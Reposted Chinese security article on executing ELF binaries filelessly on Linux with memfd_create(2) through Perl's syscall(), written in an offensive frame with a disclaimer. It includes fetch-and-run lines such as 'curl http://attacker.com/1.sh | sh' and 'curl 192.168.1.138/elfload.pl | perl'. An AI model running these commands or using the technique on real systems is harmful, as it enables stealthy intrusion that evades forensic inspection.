Loading [MathJax]/jax/input/TeX/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Linux无文件渗透执行ELF

Linux无文件渗透执行ELF

作者头像
xfkxfk
发布于 2018-05-15 09:18:22
发布于 2018-05-15 09:18:22
5.7K0
举报

注:本文仅用于知识分享,请勿用于非法攻击,任何后果与本团队无关。

01

简介

在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?最近看了一篇@MagisterQuis写的文章https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html,思路比较奇特,这里分享给大家,当然本文大部分内容都来自于这篇文章,大家也可以直接去读原文。

02

技术核心

这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改,截断,内存映射等等,但不同的是,它存在于RAM当中。这就是可以被攻击者所利用的,如果有办法将需要执行elf通过memfd_create(2)写入内存中进行执行的话就可以达到我们的目的。

对于该匿名文件的命名man信息中的解释如下:


The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.


类似于下面这样,当我们在虚拟文件系统中查看该进程信息时,在memfd:后面会出现对于该文件名称,甚至对于匿名文件的命名可以是空的。

这里我们已经知道调用memfd_create(2)可以达到我们的目的,但是该怎么调用呢?perl语言中提供了一个syscall()方法可以满足我们的需求,当然python也可以,但是python实现该功能需要依赖第三方库。

memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。当然我们使用perl传递memfd_create(2)的原始系统调用号和MEMFD_CLOEXEC的数字常量, 这两个都可以在/usr/include的头文件中找到。 系统调用号码存储在以_NR开头的#define中。

这里我们已经获取到了memfd_create(2)的系统调用码(在64位操作系统中为319)和MFD_CLOEXEC(0x0001U),这时候我们就可以使用perl的syscall函数来调用memfd_create(2) : fd = syscall(319, $name, MFD_CLOEXEC))也就是类似于fd = memfd_create($name, MFD_CLOEXEC)

03

EXP实现

这里开始编写perl利用脚本,脚本分为三部分,第一部分创建内存匿名文件并写入ELF文件内容

这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分

第三部分就是执行该文件了,调用exec函数执行该匿名文件

这里我们最后的EXP就生产好了,我们可以目标机上执行

curl 192.168.1.138/elfload.pl | perl

可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。

原作者还使用了fork函数进行了一些进程操作,有兴趣的同学可以去了解一下。

参考:

https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html

http://man7.org/linux/man-pages/man2/memfd_create.2.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-04-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 逢魔安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
runc 1.0-rc7 发布之际
在 18 年 11 月底时,我写了一篇文章 《runc 1.0-rc6 发布之际》 。如果你还不了解 runc 是什么,以及如何使用它,请参考我那篇文章。本文中,不再对其概念和用法等进行说明。
Jintao Zhang
2019/04/25
7090
fireELF:无文件Linux恶意代码框架
fireELF是一个开源的跨平台无文件Linux恶意代码框架,它允许用户轻松的创建和管理payloads。默认情况下附带了'memfd_create',这是一种从内存中完全运行linux elf可执行文件的新方法。
FB客服
2019/05/17
1.1K0
fireELF:无文件Linux恶意代码框架
k0otkit: Hack K8s in a K8s Way
2020年的倒数第二天,我们在CIS网络安全创新大会[1]上跟大家分享了一种针对Kubernetes集群的通用后渗透控制技术(简称k0otkit[2]),利用Kubernetes自身特性、动态容器注入、无文件攻击等技术,在容器逃逸后实现对集群所有节点(无论集群规模大小)的快速、隐蔽、持续控制,同时还介绍了针对这种技术的防御和检测方法。
绿盟科技研究通讯
2021/01/12
1.2K0
emp3r0r:dropper和ELF加密壳
最近添加了些我觉得可能有用的东西,今天要介绍的就是dropper和packer两个新功能。
FB客服
2021/02/07
1.2K0
容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析
35C3 CTF是在第35届混沌通讯大会期间,由知名CTF战队Eat, Sleep, Pwn, Repeat于德国莱比锡举办的一场CTF比赛。比赛中有一道基于Linux命名空间机制的沙盒逃逸题目。赛后,获得第三名的波兰强队Dragon Sector发现该题目所设沙盒在原理上与docker exec命令所依赖的runc(一种容器运行时)十分相似,遂基于题目经验对runc进行漏洞挖掘,成功发现一个能够覆盖宿主机runc程序的容器逃逸漏洞。该漏洞于2019年2月11日通过邮件列表披露,分配编号CVE-2019-5736。
绿盟科技研究通讯
2019/12/11
3.5K0
容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析
无"命令"反弹shell-逃逸基于execve的命令监控(上)
本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。如何想看新方法,直接到最后。
七夜安全博客
2020/02/18
1.6K0
无"命令"反弹shell-逃逸基于execve的命令监控(上)
linux无文件执行— fexecve 揭秘
之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux无文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。
七夜安全博客
2020/02/26
5K0
聊聊跨进程共享内存的内部工作原理
在 Linux 系统的进程虚拟内存中,一个重要的特性就是不同进程的地址空间是隔离的。A 进程的地址 0x4000 和 B 进程的 0x4000 之间没有任何关系。这样确确实实是让各个进程的运行时互相之间的影响降到了最低。某个进程有 bug 也只能自己崩溃,不会影响其它进程的运行。
开发内功修炼
2023/12/11
8220
聊聊跨进程共享内存的内部工作原理
反弹shell-逃逸基于execve的命令监控(上)
本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。
七夜安全博客
2019/12/26
3.2K0
反弹shell-逃逸基于execve的命令监控(上)
【云原生攻防研究】— runC再曝容器逃逸漏洞(CVE-2024-21626)
RunC是一个基于OCI标准的轻量级容器运行时工具,用来创建和运行容器,该工具被广泛应用于虚拟化环境中,然而不断披露的逃逸漏洞给runC带来了严重的安全风险,如早期的CVE-2019-5736、CVE-2021-30465。就在今年的1月31日,网络安全供应商Synk又披露了runC 命令行工具和BuildKit 组件中的4个安全漏洞,攻击者可以利用这些漏洞逃离容器的边界并发起后续攻击。这些漏洞编号分别为 CVE-2024-21626、CVE-2024-23651、CVE-2024-23652 和 CVE-2024-23653,这些漏洞被 Snyk统称为Leaky Vessels[1][2]。
绿盟科技研究通讯
2024/04/10
2.3K0
【云原生攻防研究】— runC再曝容器逃逸漏洞(CVE-2024-21626)
Apache Solr Velocity RCE 真的 getshell 了吗
在复现 Apache Solr Velocity 模板注入时,发现了一些问题,因为这些问题即使可以执行命令,也不能进行后续渗透。
信安之路
2019/11/14
1.8K0
新的 PyPI 包提供无文件 Linux 恶意软件
Security Affairs 网站披露,Sonatype 研究人员发现了一个名为“secretslib”的新 PyPI 包,旨在将无文件加密矿工投放到 Linux 机器系统的内存中。 据悉,该软件包将自身描述成“轻松匹配和验证秘密”,自 2020 年 8 月 6 日以来,已经有了 93 次下载。 网络安全专家发帖子表示,secretslib PyPI 包将自己描述为“使秘密匹配和验证变得容易”。但经过仔细分析观察,该软件包在用户 Linux 机器上暗中运行加密矿工(直接从用户的 RAM 中),这种技术
FB客服
2023/03/30
9490
新的 PyPI 包提供无文件 Linux 恶意软件
技术译文 | MySQL 引入 innodb_flush_method 等新参数的系统调用分析
本文和封面来源:https://www.percona.com/,爱可生开源社区翻译。
爱可生开源社区
2024/01/30
4630
技术译文 | MySQL 引入 innodb_flush_method 等新参数的系统调用分析
Linux下程序是怎样执行的
就会出现如下结果。ps 在此处,我们可以人为ls为可执行程序的名称,--version 是该程序需要的参数。
高性能架构探索
2021/04/13
5.1K0
Linux下程序是怎样执行的
KCon议题讲解——进退维谷:runC的阿克琉斯之踵
上周末,绿盟科技星云实验室在KCon 2022大会上分享了云原生安全相关议题《进退维谷:runC的阿克琉斯之踵》,该议题探讨了DirtyPipe漏洞写runC逃逸的利用手法,分析了“写runC逃逸”的成因、常见场景与手法,最后提出了一种基于ELF文件注入的写runC逃逸方法。本文将为意犹未尽的朋友提供该议题的详细解读。
绿盟科技研究通讯
2022/11/14
6480
KCon议题讲解——进退维谷:runC的阿克琉斯之踵
宋宝华:世上最好的共享内存(Linux共享内存最透彻的一篇)
早期的共享内存,着重于强调把同一片内存,map到多个进程的虚拟地址空间(在相应进程找到一个VMA区域),以便于CPU可以在各个进程访问到这片内存。
Linux阅码场
2019/12/10
50.4K6
宋宝华:世上最好的共享内存(Linux共享内存最透彻的一篇)
linux深入proc文件系统之pid目录(下)
proc 是一个虚拟文件系统,在Linux 系统中它被挂载于/proc 目录之上。proc 有多个功能 ,这其中包括用户可以通过它访问内核信息或用于排错,这其中一个非常有 用的功能,也是Linux 变得更加特别的功能就是以文本流的形式来访问进程信息。很Linux 命令( 比如 ps 、toPpstree 等) 都需要使用这个文件系统的信息。 maps /proc/[pid]/maps显示进程内存区域映射信息 > cat /proc/1751/maps 00400000-00401000 r-xp 000
入门笔记
2022/06/02
3.9K0
Linux进程启动过程分析do_execve(可执行程序的加载和运行)---Linux进程的管理与调度(十一)
我们前面提到了, fork, vfork等复制出来的进程是父进程的一个副本, 那么如何我们想加载新的程序, 可以通过execve来加载和启动新的程序。
233333
2018/10/09
4.1K0
Linux进程启动过程分析do_execve(可执行程序的加载和运行)---Linux进程的管理与调度(十一)
原创Paper | 在 Android 中开发 eBPF 程序学习总结(二)
作者:Hcamael@知道创宇404实验室 日期:2022年11月16日 相关阅读:
Seebug漏洞平台
2023/01/05
7390
入侵检测之syscall监控
《Linux入侵检测》系列文章目录: 1️⃣企业安全建设之HIDS-设计篇 2️⃣入侵检测技术建设及其在场景下的运用 3️⃣ATT&CK矩阵linux系统实践/命令监控 4️⃣Linux入侵检测之文件监控 5️⃣Linux入侵检测之syscall监控 6️⃣linux入侵检测之应急响应 0x01:Syscall简介 内核提供用户空间程序与内核空间进行交互的一套标准接口,这些接口让用户态程序能受限访问硬件设备,比如申请系统资源,操作设备读写,创建新进程等。用户空间发生请求,内核空间负责执行,这些接口便是用户空
FB客服
2023/04/26
2.7K0
入侵检测之syscall监控
推荐阅读
相关推荐
runc 1.0-rc7 发布之际
更多 >
领券
💥开发者 MCP广场重磅上线!
精选全网热门MCP server,让你的AI更好用 🚀
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档